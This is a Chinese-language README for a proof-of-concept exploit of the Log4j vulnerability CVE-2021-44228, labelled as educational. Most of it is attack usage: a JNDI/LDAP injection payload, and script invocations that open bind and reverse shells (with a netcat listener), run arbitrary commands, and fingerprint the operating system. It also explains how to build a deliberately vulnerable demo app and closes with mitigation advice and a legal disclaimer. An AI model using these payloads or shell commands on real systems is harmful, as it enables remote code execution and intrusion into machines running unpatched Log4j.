CVE-2021-44228 的 PoC。
该项目仅用于教育目的。
该项目创建了两个服务器:http 和 ldap。两者都是利用工作所必需的。指定的 Java 文件被编译,服务器在 Dockerfile 中启动。有效载荷会展示给用户——它必须被传递给易受攻击的应用程序。
示例有效载荷:
${jndi:ldap//127.0.0.1:1389/a}
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind --remote-port 4445
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e reverse --listener-port 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e rce --cmd 'ls | tee log.txt'
它会使程序休眠 25 秒
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e vulndetect
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e osdetect --listener-port 4444
操作系统检测可能会返回 4 个字母:
L 表示 LinuxW 表示 WindowsM 表示 MacOSU 表示未知绕过技术已发布。示例见此处
该应用旨在演示其工作原理。要构建并运行包含该应用的 jar,请使用:
./build_vuln_app.sh
java -jar vulnapp/target/vulnapp.jar 'PAYLOAD'
其中 PAYLOAD 是从 ./poc.sh 脚本返回的值(例如 ${jndi:ldap://127.0.0.1:1389/1})。
在创建此利用过程中使用的项目和网站的一些致谢:
使用 log4j 启动应用时,请将 log4j2.formatMsgNoLookups 设置为 true,或更新到 log4j-2.15.0-rc1 或更高版本。更新已在野外发布——请尽快实施。
本项目仅可用于教育目的。未经事先许可使用本软件攻击目标系统是非法的,因滥用本软件造成的任何损害,作者概不负责。